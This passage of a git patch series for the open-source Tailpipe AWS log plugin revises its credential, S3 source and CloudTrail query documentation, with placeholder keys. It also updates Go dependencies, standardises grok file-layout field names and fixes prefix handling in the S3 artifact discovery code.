plugin install aws ``` -### Credentials +Configure your log source: + +```shell +vi ~/.tailpipe/config/aws.tpc +``` + +```terraform +connection "aws" "dev" { + profile = "dev" +} + +partition "aws_cloudtrail_log" "dev" { + source "aws_s3_bucket" { + bucket = "aws-cloudtrail-logs-bucket" + } +} +``` + +Collect logs: + +```shell +tailpipe collect aws_cloudtrail_log.dev +``` + +Run a query: + +```sql +select event_source, event_name, recipient_account_id, count(*) as event_count from aws_cloudtrail_log where not read_only group by event_source, event_name, recipient_account_id order by event_count desc; +``` + +## Credentials | Item | Description | | - |----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| @@ -42,43 +94,29 @@ tailpipe plugin install aws | Radius | Each connection represents a single AWS account. | | Resolution | 1. Credentials explicitly set in a Tailpipe config file (`~/.tailpipe/config/aws.tpc`).
2. Credentials specified in environment variables, e.g., `AWS_ACCESS_KEY_ID`.
3. Credentials in the credential file (`~/.aws/credentials`) for the profile specified in the `AWS_PROFILE` environment variable.
4. Credentials for the default profile from the credential file.
5. EC2 instance role credentials (if running on an EC2 instance). | -### Configuration - -TODO: Elaborate on the configuration requirements around `partition`, `source` and `connection`. +### Profiles -#### aws.tpc: -```hcl -connection "aws" "account_a" { - profile = "account_a" -} +You may specify a named profile from an AWS credential file with the `profile` argument. A connection per profile, using named profiles is probably the most common configuration: -partition "aws_cloudtrail_log" "account_a" { - source "aws_s3_bucket" { - connection = connection.aws.account_a - bucket = "my-logs-bucket" - prefix = "AWSLogs/632902152528/CloudTrail" - region = "us-east-1" - } -} +```sh +vi ~/.aws/credentials ``` -## Configuring AWS Credentials - -You may specify a named profile from an AWS credential file with the `profile` argument. A connection per profile, using named profiles is probably the most common configuration: - -#### aws credentials file: ```ini [account_a] -aws_access_key_id = AKIA4YFAKEKEYXTDS252 -aws_secret_access_key = SH42YMW5p3EThisIsNotRealzTiEUwXN8BOIOF5J8m -region = us-west-2 +aws_access_key_id = AKIA4YFAKEKEYXTDS... +aws_secret_access_key = SH42YMW5p3EThisIsNotRealzTiEUwXN8BOIOF5... +region = us-west-2 [account_b] -aws_access_key_id = AKIA4YFAKEKEYJ7HS98F -aws_secret_access_key = Apf938vDKd8ThisIsNotRealzTiEUwXj9nKLWP9mg4 +aws_access_key_id = AKIA4YFAKEKEYJ7H... +aws_secret_access_key = Apf938vDKd8ThisIsNotRealzTiEUwXj9nKLWP9... +``` + +```sh +vi ~/.tailpipe/config/aws.tpc ``` -#### aws.tpc: ```hcl connection "aws" "account_a" { profile = "account_a" @@ -86,7 +124,6 @@ connection "aws" "account_a" { connection "aws" "account_b" { profile = "account_b" - regions = ["us-west-2"] } ``` @@ -120,6 +157,7 @@ connection "aws" "account_a_with_sso" { If your aws credential file contains profiles that assume a role via the `source_profile` and `role_arn` options and MFA is not required, Tailpipe can use the profile as-is: #### aws credential file: + ```ini # This user must have sts:AssumeRole permission for arn:aws:iam::*:role/tpc_role [cli_user] @@ -140,6 +178,7 @@ region = us-east-2 ``` #### aws.tpc: + ```hcl connection "aws" "account_a" { profile = "account_a_role_without_mfa" @@ -159,6 +198,7 @@ One way to accomplish this is to use the `credential_process` to [generate the c Note that Tailpipe cannot prompt you for your token currently, so you must authenticate before starting Tailpipe, and re-authenticate outside of Tailpipe whenever your credentials expire. #### aws credential file: + ```ini [cli_user] aws_access_key_id = AKIA4YFAKEKEYXTDS252 @@ -173,6 +213,7 @@ credential_process = sh -c 'mfa.sh arn:aws:iam::222222222222:role/my_role arn:aw ``` #### aws.tpc: + ```hcl connection "aws" "account_a" { profile = "account_a_role_with_mfa" @@ -298,4 +339,19 @@ export AWS_ROLE_SESSION_NAME=steampipe@myaccount ### Credentials from an EC2 Instance Profile -If you are running Tailpipe on a AWS EC2 instance, and that instance has an [instance profile attached](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html) then Tailpipe will automatically use the associated IAM role without the need for making or passing a connection. \ No newline at end of file +If you are running Tailpipe on a AWS EC2 instance, and that instance has an [instance profile attached](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html) then Tailpipe will automatically use the associated IAM role without the need for making or passing a connection. + +## Open Source & Contributing + +This repository is published under the [Apache 2.0](https://www.apache.org/licenses/LICENSE-2.0) (source code) and [CC BY-NC-ND](https://creativecommons.org/licenses/by-nc-nd/2.0/) (docs) licenses. Please see our [code of conduct](https://github.com/turbot/.github/blob/main/CODE_OF_CONDUCT.md). We look forward to collaborating with you! + +[Tailpipe](https://tailpipe.io) is a product produced from this open source software, exclusively by [Turbot HQ, Inc](https://turbot.com). It is distributed under our commercial terms. Others are allowed to make their own distribution of the software, but cannot use any of the Turbot trademarks, cloud services, etc. You can learn more in our [Open Source FAQ](https://turbot.com/open-source). + +## Get Involved + +**[Join #tailpipe on Slack →](https://turbot.com/community/join)** + +Want to help but don't know where to start? Pick up one of the `help wanted` issues: + +- [Tailpipe](https://github.com/turbot/tailpipe/labels/help%20wanted) +- [AWS Plugin](https://github.com/turbot/tailpipe-plugin-aws/labels/help%20wanted) diff --git a/docs/sources/aws_s3_bucket.md b/docs/sources/aws_s3_bucket.md index a456539f..a463501d 100644 --- a/docs/sources/aws_s3_bucket.md +++ b/docs/sources/aws_s3_bucket.md @@ -1,21 +1,56 @@ --- -title: "Source: aws_s3_bucket - Obtain logs from AWS S3 buckets" +title: "Source: aws_s3_bucket - Collect logs from AWS S3 buckets" description: "Allows users to collect logs from AWS S3 buckets." --- # Source: aws_s3_bucket - Obtain logs from AWS S3 buckets -An AWS S3 Bucket is a public cloud storage resource available in Amazon Web Services' (AWS) Simple Storage Service (S3). It is used to store objects, which consist of data and its descriptive metadata. S3 makes it possible to store and retrieve varying amounts of data, at any time, from anywhere on the web. +An AWS S3 bucket is a cloud storage resource used to store objects like data files and metadata. It serves as a central repository for logs from AWS services such as CloudTrail, ELB, and VPC flow logs, and more. -## Configuration +Using this source, you can collect, filter, and analyze logs stored in S3, enabling system monitoring, security investigations, and compliance reporting. + +## Examples + +Collect all CloudTrail logs: + +```hcl +partition "aws_cloudtrail_log" "all" { + source "aws_s3_bucket" { + bucket = "my-logging-bucket" + } +} +``` + +Using a specific AWS connection, collect all CloudTrail logs: + +```hcl +partition "aws_cloudtrail_log" "dev" { + source "aws_s3_bucket" { + connection = connection.aws.dev + bucket = "my-logging-bucket" + } +} +``` + +Collect logs from us-east-1 only: + +```hcl +partition "aws_cloudtrail_log" "cloudtrail_logs" { + source "aws_s3_bucket" { + bucket = "turbot-632902152528-us-east-1" + file_layout = "AWSLogs/%{NUMBER:account_id}/CloudTrail/us-east-1/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{NUMBER:prefix}_CloudTrail_%{DATA:region_file}_%{YEAR:year_file}%{MONTHNUM:month_file}%{MONTHDAY:day_file}T%{HOUR:hour}%{MINUTE:minute}Z_%{DATA:suffix}.json.gz" + } +} +``` + +## Arguments + +| Argument | Description | Default | +|-------------------------|---------------------------------------------------------------------------------------|---------------| +| `bucket` | The name of the S3 bucket to collect logs from. | | +| `connection` | The connection to use to connect to the AWS account. | | +| `file_layout` | Regex of pattern filename layout, used to extract information such as year, month, day, etc. | | +| `lexicographical_order` | Used to indicate log files are in lexicographical order. | `false` | +| `start_after_key` | The key to start collecting logs from. | | +|-------------------------|---------------------------------------------------------------------------------------|---------------| -| Property | Description | Default | -| - |----------------------------------------------------------------------------------------------|---------------------------| -| `connection` | The connection to use to connect to the AWS account. | - | -| `bucket` | The name of the S3 bucket to collect logs from. | - | -| `prefix` | The prefix to filter objects in the bucket. | Defaults to bucket root. | -| `region` | The AWS region where the bucket is located. | Defaults to `us-east-1` | -| `extensions` | The file extensions to collect. | Defaults to all files. | -| `lexicographical_order` | Used to indicate log files are in lexicographical order. | Defaults to `false` | -| `start_after_key` | The key to start collecting logs from. | - | -| `file_layout` | Regex of pattern filename layout, used to extract information such as year, month, day, etc. | Default depends on Table. | diff --git a/docs/tables/aws_cloudtrail_log.md b/docs/tables/aws_cloudtrail_log.md index 991d3838..2bbce7cd 100644 --- a/docs/tables/aws_cloudtrail_log.md +++ b/docs/tables/aws_cloudtrail_log.md @@ -5,163 +5,13 @@ description: "Allows users to query AWS CloudTrail logs." # Table: aws_cloudtrail_log - Query AWS CloudTrail logs -*TODO*: Add description - -## Table Usage Guide - The `aws_cloudtrail_log` table allows you to query data from AWS CloudTrail logs. This table provides detailed information about API calls made within your AWS account, including the event name, source IP address, user identity, and more. -## Count Examples - -### Count events per day - -```sql -select - strftime(event_time, '%Y-%m-%d') AS event_date, - count(*) AS event_count -from - aws_cloudtrail_log -group by - event_date -order by - event_date ASC; -``` - -### Count events by event name - -```sql -select - event_source, - event_name, - count(*) as event_count -from - aws_cloudtrail_log -group by - event_source, - event_name, -order by - event_count desc; -``` - -### Count events by event name (exclude read-only events) - -```sql -select - event_source, - event_name, - count(*) as event_count -from - aws_cloudtrail_log -where - not read_only -group by - event_source, - event_name, -order by - event_count desc; -``` - -### Count events grouped by account ID - -```sql -select - event_source, - event_name, - recipient_account_id, - count(*) as event_count -from - aws_cloudtrail_log -group by - event_source, - event_name, - recipient_account_id -order by - event_count desc; -``` - -### Count errors by frequency - -```sql -select - error_code, - count(*) as event_count -from - aws_cloudtrail_log -where - error_code is not null -group by - error_code -order by - event_count desc; -``` - -## Detection Examples - -### Detect default EBS encryption disabled in a region +## Queries -```sql -select - event_time, - event_source, - event_name, - user_identity.arn as user_arn, - source_ip_address, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - event_source = 'ec2.amazonaws.com' - and event_name = 'DisableEbsEncryptionByDefault' - and error_code is null -order by - event_time desc; -``` - -### Detect attempts to stop CloudTrail trail logging - -```sql -select - event_time, - event_source, - event_name, - user_identity.arn as user_arn, - source_ip_address, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - event_name in ('StopLogging', 'DeleteTrail') - and event_source = 'cloudtrail.amazonaws.com' - and error_code is not null -order by - event_time desc; -``` - -### Detect unsuccessful AWS console login attempts - -```sql -select - event_time, - event_name, - user_identity.arn as user_arn, - source_ip_address, - user_agent, - aws_region, - recipient_account_id as account_id, - additional_event_data -from - aws_cloudtrail_log -where - event_source = 'signin.amazonaws.com' - and event_name = 'ConsoleLogin' - and error_code is not null -order by - event_time desc; -``` +### Root activity -### Detect root account activity +Find any actions taken by the root user. ```sql select @@ -179,91 +29,28 @@ order by event_time desc; ``` -### Detect actions in unapproved regions - -```sql -select - event_time, - event_source, - event_name, - user_identity.arn as user_arn, - source_ip_address, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - aws_region not in ('us-east-1', 'us-west-1') -order by - event_time desc; -``` +### Top 10 events -### Detect actions from unapproved IP addresses +List the top 10 events and how many times they were called. ```sql select - event_time, event_source, event_name, - user_identity.arn as user_arn, - source_ip_address, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - source_ip_address not in ('192.0.2.146', '206.253.208.100') -order by - event_time desc; -``` - -## Operational Examples - -### List VPC security group rule updates - -```sql -select - event_time, - event_source, - event_name, - user_identity.arn as user_arn, - source_ip_address, - aws_region, - recipient_account_id as account_id + count(*) as event_count from aws_cloudtrail_log -where - event_source = 'ec2.amazonaws.com' - and event_name in ('AuthorizeSecurityGroupEgress', 'AuthorizeSecurityGroupIngress', 'RevokeSecurityGroupEgress', 'RevokeSecurityGroupIngress') - and error_code is null -order by - event_time desc; -``` - -### List IAM user policy updates - -```sql -select - event_time, +group by event_source, event_name, - request_parameters, - user_identity.arn as user_arn, - source_ip_address, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - event_source = 'iam.amazonaws.com' - and event_name in ('AttachUserPolicy', 'DetachUserPolicy', 'PutUserPolicy') order by - event_time desc; + event_count desc +limit 10; ``` -## Volume Examples +### High volume S3 access requests -### Detect high volume of S3 bucket access requests +Find users generating a high volume of S3 access requests to identify potential anomalous activity. ```sql select @@ -274,7 +61,7 @@ from aws_cloudtrail_log where event_source = 's3.amazonaws.com' - and event_name in ('GetObject', 'PutObject', 'ListBucket') + and event_name in ('GetObject', 'ListBucket') group by user_identity.arn, event_minute @@ -284,67 +71,8 @@ order by event_count desc; ``` -### Detect excessive IAM role assumption - -```sql -select - user_identity.arn as user_arn, - count(*) as event_count, - date_trunc('hour', event_time) as event_hour -from - aws_cloudtrail_log -where - event_source = 'sts.amazonaws.com' - and event_name = 'AssumeRole' -group by - user_identity.arn, - event_hour -having - count(*) > 10 -order by - event_hour desc, - event_count desc; -``` - -## Baseline Examples - -### Detect unusual source IP addresses for users +Additional queries: -```sql -select - user_identity.arn as user_arn, - source_ip_address, - count(*) as access_count, - date_trunc('day', event_time) as access_day -from - aws_cloudtrail_log -where - source_ip_address not like '%.amazonaws.com' - and source_ip_address not in (select distinct source_ip_address from aws_cloudtrail_log) -group by - user_identity.arn, source_ip_address, access_day -having - access_count > 5 -order by - access_count desc; -``` - -### Detect activity outside of normal hours (between 8 PM and 6 AM) - -```sql -select - event_time, - event_source, - event_name, - request_parameters, - user_identity.arn as user_arn, - source_ip_address, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - cast(strftime(event_time, '%H') as integer) >= 20 - or cast(strftime(event_time, '%H') as integer) < 6 -order by - event_time desc; +- [Event count by day](https://hub.tailpipe.io/plugins/turbot/aws/queries) +- [Detect actions from unapproved IP addresses](https://hub.tailpipe.io/plugins/turbot/aws/queries) +- [List VPC security group updates](https://hub.tailpipe.io/plugins/turbot/aws/queries) diff --git a/docs/tables/aws_cloudtrail_log_examples.md b/docs/tables/aws_cloudtrail_log_examples.md index 257b35e3..57f09364 100644 --- a/docs/tables/aws_cloudtrail_log_examples.md +++ b/docs/tables/aws_cloudtrail_log_examples.md @@ -1,8 +1,8 @@ ## Count Examples -### Count events per day +### Daily event counts -Return a count of events per day to see trends across time. +Return a count of events per day to see trends over time. ```sql select @@ -13,12 +13,12 @@ from group by event_date order by - event_date ASC; + event_date asc; ``` -### Count events by event name +### Top 10 events -Return a count of events by event name see the most operations. +List the top 10 events and how many times they were called. ```sql select @@ -31,10 +31,13 @@ group by event_source, event_name, order by - event_count desc; + event_count desc +limit 10; ``` -### Count events by event name (exclude read-only events) +### Top 10 events (exclude read-only) + +List the top 10 events, excluding read-only events, and how many times they were called. ```sql select @@ -49,10 +52,13 @@ group by event_source, event_name, order by - event_count desc; + event_count desc +limit 10; ``` -### Count events grouped by account ID +### Event counts by account + +Count and group events by account ID, event source, and event name to highlight activity distribution across accounts. ```sql select @@ -70,7 +76,7 @@ order by event_count desc; ``` -### Count errors by frequency +### Error code counts ```sql select @@ -152,7 +158,9 @@ order by event_time desc; ``` -### Detect root account activity +### Root activity + +Find any actions taken by the root user. ```sql select From b02fec287a3301964bdcb2fb8d2faff3a34e1c0e Mon Sep 17 00:00:00 2001 From: Graza Date: Wed, 15 Jan 2025 07:41:47 +0000 Subject: [PATCH 130/180] refactor: tidied up default filelayouts to use more standardised names --- go.mod | 6 +++--- go.sum | 3 +++ tables/alb_access_log_table.go | 2 +- tables/cloudtrail_log_table.go | 2 +- tables/elb_access_log_table.go | 2 +- tables/lambda_log_table.go | 2 +- 6 files changed, 10 insertions(+), 7 deletions(-) diff --git a/go.mod b/go.mod index f82eb41c..72cb1d2f 100644 --- a/go.mod +++ b/go.mod @@ -56,7 +56,7 @@ require ( github.com/fsnotify/fsnotify v1.7.0 // indirect github.com/gabriel-vasile/mimetype v1.4.3 // indirect github.com/gertd/go-pluralize v0.2.1 // indirect - github.com/go-git/go-git/v5 v5.12.0 // indirect + github.com/go-git/go-git/v5 v5.13.0 // indirect github.com/go-logr/logr v1.4.2 // indirect github.com/go-logr/stdr v1.2.2 // indirect github.com/go-ole/go-ole v1.2.6 // indirect @@ -159,7 +159,7 @@ require ( golang.org/x/crypto v0.31.0 // indirect golang.org/x/exp v0.0.0-20240909161429-701f63a606c0 // indirect golang.org/x/mod v0.21.0 // indirect - golang.org/x/net v0.30.0 // indirect + golang.org/x/net v0.33.0 // indirect golang.org/x/oauth2 v0.22.0 // indirect golang.org/x/sys v0.28.0 // indirect golang.org/x/term v0.27.0 // indirect @@ -190,7 +190,7 @@ require ( github.com/hashicorp/hcl/v2 v2.20.1 github.com/rs/dnscache v0.0.0-20230804202142-fc85eb664529 github.com/rs/xid v1.5.0 - github.com/stretchr/testify v1.9.0 + github.com/stretchr/testify v1.10.0 github.com/turbot/go-kit v0.10.0-rc.0 github.com/turbot/pipe-fittings v1.4.1 golang.org/x/sync v0.10.0 diff --git a/go.sum b/go.sum index a102b5ce..532b4515 100644 --- a/go.sum +++ b/go.sum @@ -339,6 +339,7 @@ github.com/gertd/go-pluralize v0.2.1/go.mod h1:rbYaKDbsXxmRfr8uygAEKhOWsjyrrqrkH github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= github.com/go-git/go-git/v5 v5.12.0 h1:7Md+ndsjrzZxbddRDZjF14qK+NN56sy6wkqaVrjZtys= github.com/go-git/go-git/v5 v5.12.0/go.mod h1:FTM9VKtnI2m65hNI/TenDDDnUf2Q9FHnXYjuz9i5OEY= +github.com/go-git/go-git/v5 v5.13.0/go.mod h1:Wjo7/JyVKtQgUNdXYXIepzWfJQkUEIGvkvVkiXRR/zw= github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= @@ -670,6 +671,7 @@ github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= +github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8= github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU= github.com/tklauser/go-sysconf v0.3.9 h1:JeUVdAOWhhxVcU6Eqr/ATFHgXk/mmiItdKeJPev3vTo= @@ -831,6 +833,7 @@ golang.org/x/net v0.0.0-20221014081412-f15817d10f9b/go.mod h1:YDH+HFinaLZZlnHAfS golang.org/x/net v0.1.0/go.mod h1:Cx3nUiGt4eDBEyega/BKRp+/AlGL8hYe7U9odMt2Cco= golang.org/x/net v0.30.0 h1:AcW1SDZMkb8IpzCdQUaIq2sP4sZ4zw+55h6ynffypl4= golang.org/x/net v0.30.0/go.mod h1:2wGyMJ5iFasEhkwi13ChkO/t1ECNC4X4eBKkVFyYFlU= +golang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= diff --git a/tables/alb_access_log_table.go b/tables/alb_access_log_table.go index cac0c369..633ba019 100644 --- a/tables/alb_access_log_table.go +++ b/tables/alb_access_log_table.go @@ -34,7 +34,7 @@ type AlbAccessLogTable struct{} func (c *AlbAccessLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.AlbAccessLog] { defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ - FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/elasticloadbalancing/%{DATA:region_path}/%{YEAR:year_path}/%{MONTHNUM:month_path}/%{MONTHDAY:day_path}/%{DATA:load_balancer_name}_%{TIMESTAMP_ISO8601:end_time}_%{DATA:random_suffix}.log"), + FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/elasticloadbalancing/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA:elb_name}_%{TIMESTAMP_ISO8601:end_time}_%{DATA:suffix}.log"), } return []*table.SourceMetadata[*rows.AlbAccessLog]{ diff --git a/tables/cloudtrail_log_table.go b/tables/cloudtrail_log_table.go index aeba4c8d..37cd4930 100644 --- a/tables/cloudtrail_log_table.go +++ b/tables/cloudtrail_log_table.go @@ -34,7 +34,7 @@ type CloudTrailLogTable struct{} func (t *CloudTrailLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.CloudTrailLog] { defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ - FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/CloudTrail/%{DATA:region_path}/%{YEAR:year_path}/%{MONTHNUM:month_path}/%{MONTHDAY:day_path}/%{NUMBER:prefix}_CloudTrail_%{DATA:region}_%{YEAR:year}%{MONTHNUM:month}%{MONTHDAY:day}T%{HOUR:hour}%{MINUTE:minute}Z_%{DATA:suffix}.json.gz"), + FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/CloudTrail/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{NUMBER:prefix}_CloudTrail_%{DATA:region_file}_%{YEAR:year_file}%{MONTHNUM:month_file}%{MONTHDAY:day_file}T%{HOUR:hour}%{MINUTE:minute}Z_%{DATA:suffix}.json.gz"), } return []*table.SourceMetadata[*rows.CloudTrailLog]{ diff --git a/tables/elb_access_log_table.go b/tables/elb_access_log_table.go index 36173504..69334720 100644 --- a/tables/elb_access_log_table.go +++ b/tables/elb_access_log_table.go @@ -37,7 +37,7 @@ func (c *ElbAccessLogTable) Identifier() string { func (c *ElbAccessLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.ElbAccessLog] { defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ - FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/elasticloadbalancing/%{DATA:region_path}/%{YEAR:year_path}/%{MONTHNUM:month_path}/%{MONTHDAY:day_path}/%{DATA:elb_name}_%{TIMESTAMP_ISO8601:timestamp}_%{DATA:suffix}.log"), + FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/elasticloadbalancing/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA:elb_name}_%{TIMESTAMP_ISO8601:end_time}_%{DATA:suffix}.log"), } return []*table.SourceMetadata[*rows.ElbAccessLog]{ diff --git a/tables/lambda_log_table.go b/tables/lambda_log_table.go index 72540b8e..3e848b61 100644 --- a/tables/lambda_log_table.go +++ b/tables/lambda_log_table.go @@ -34,7 +34,7 @@ func (c *LambdaLogTable) Identifier() string { func (c *LambdaLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.LambdaLog] { defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ - FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/lambda/%{DATA:function_name}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA:function_name}-%{TIMESTAMP_ISO8601:timestamp}-%{DATA:suffix}.log"), + FileLayout: utils.ToStringPointer("AWSLogs/%{NUMBER:account_id}/lambda/%{DATA:function_name}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA:function_name}-%{TIMESTAMP_ISO8601:end_time}-%{DATA:suffix}.log"), } return []*table.SourceMetadata[*rows.LambdaLog]{ From c577b6123545bad77a995eb4bc7c2c4db64db6d7 Mon Sep 17 00:00:00 2001 From: Graza Date: Wed, 15 Jan 2025 07:49:52 +0000 Subject: [PATCH 131/180] fix: prefix correctly applied to s3 walking algo --- sources/s3_bucket_source.go | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/sources/s3_bucket_source.go b/sources/s3_bucket_source.go index 1316c6b4..b9cd7971 100644 --- a/sources/s3_bucket_source.go +++ b/sources/s3_bucket_source.go @@ -10,6 +10,7 @@ import ( "os" "path" "path/filepath" + "strings" "github.com/aws/aws-sdk-go-v2/aws" "github.com/aws/aws-sdk-go-v2/service/s3" @@ -89,8 +90,10 @@ func (s *AwsS3BucketSource) ValidateConfig() error { } func (s *AwsS3BucketSource) DiscoverArtifacts(ctx context.Context) error { + var prefix string layout := s.Config.GetFileLayout() filterMap := make(map[string]*filter.SqlFilter) + g := grok.New() // add any patterns defined in config err := g.AddPatterns(s.Config.GetPatterns()) @@ -98,7 +101,18 @@ func (s *AwsS3BucketSource) DiscoverArtifacts(ctx context.Context) error { return fmt.Errorf("error adding grok patterns: %v", err) } - err = s.walkS3(ctx, s.Config.Bucket, "", layout, filterMap, g) + if s.Config.Prefix != nil { + prefix = *s.Config.Prefix + if !strings.HasSuffix(prefix, "/") { + prefix = prefix + "/" + } + if layout != nil { + t := fmt.Sprintf("%s%s", prefix, *layout) + layout = &t + } + } + + err = s.walkS3(ctx, s.Config.Bucket, prefix, layout, filterMap, g) if err != nil { s.errorList = append(s.errorList, fmt.Errorf("error discovering artifacts in S3 bucket %s, %w", s.Config.Bucket, err)) } From 04d8d36e489dad8e36cd456ec58d246795de6843 Mon Sep 17 00:00:00 2001 From: Graza Date: Wed, 15 Jan 2025 07:51:45 +0000 Subject: [PATCH 132/180] chore: go.mod update --- go.mod | 2 +- go.sum | 8 +++----- 2 files changed, 4 insertions(+), 6 deletions(-) diff --git a/go.mod b/go.mod index 72cb1d2f..55fdc782 100644 --- a/go.mod +++ b/go.mod @@ -50,7 +50,6 @@ require ( github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect github.com/dgraph-io/ristretto v0.2.0 // indirect github.com/dustin/go-humanize v1.0.1 // indirect - github.com/elastic/go-grok v0.3.1 // indirect github.com/fatih/color v1.17.0 // indirect github.com/felixge/httpsnoop v1.0.4 // indirect github.com/fsnotify/fsnotify v1.7.0 // indirect @@ -186,6 +185,7 @@ require ( github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs v1.37.3 github.com/aws/aws-sdk-go-v2/service/guardduty v1.50.1 github.com/aws/aws-sdk-go-v2/service/s3 v1.58.2 + github.com/elastic/go-grok v0.3.1 github.com/google/go-cmp v0.6.0 github.com/hashicorp/hcl/v2 v2.20.1 github.com/rs/dnscache v0.0.0-20230804202142-fc85eb664529 diff --git a/go.sum b/go.sum index 532b4515..648100e9 100644 --- a/go.sum +++ b/go.sum @@ -337,8 +337,7 @@ github.com/gabriel-vasile/mimetype v1.4.3/go.mod h1:d8uq/6HKRL6CGdk+aubisF/M5GcP github.com/gertd/go-pluralize v0.2.1 h1:M3uASbVjMnTsPb0PNqg+E/24Vwigyo/tvyMTtAlLgiA= github.com/gertd/go-pluralize v0.2.1/go.mod h1:rbYaKDbsXxmRfr8uygAEKhOWsjyrrqrkHVpZvoOp8zk= github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= -github.com/go-git/go-git/v5 v5.12.0 h1:7Md+ndsjrzZxbddRDZjF14qK+NN56sy6wkqaVrjZtys= -github.com/go-git/go-git/v5 v5.12.0/go.mod h1:FTM9VKtnI2m65hNI/TenDDDnUf2Q9FHnXYjuz9i5OEY= +github.com/go-git/go-git/v5 v5.13.0 h1:vLn5wlGIh/X78El6r3Jr+30W16Blk0CTcxTYcYPWi5E= github.com/go-git/go-git/v5 v5.13.0/go.mod h1:Wjo7/JyVKtQgUNdXYXIepzWfJQkUEIGvkvVkiXRR/zw= github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= @@ -669,8 +668,8 @@ github.com/stretchr/testify v1.7.2/go.mod h1:R6va5+xMeoiuVRoj+gSkQ7d3FALtqAAGI1F github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= -github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= github.com/stretchr/testify v1.9.0/go.mod 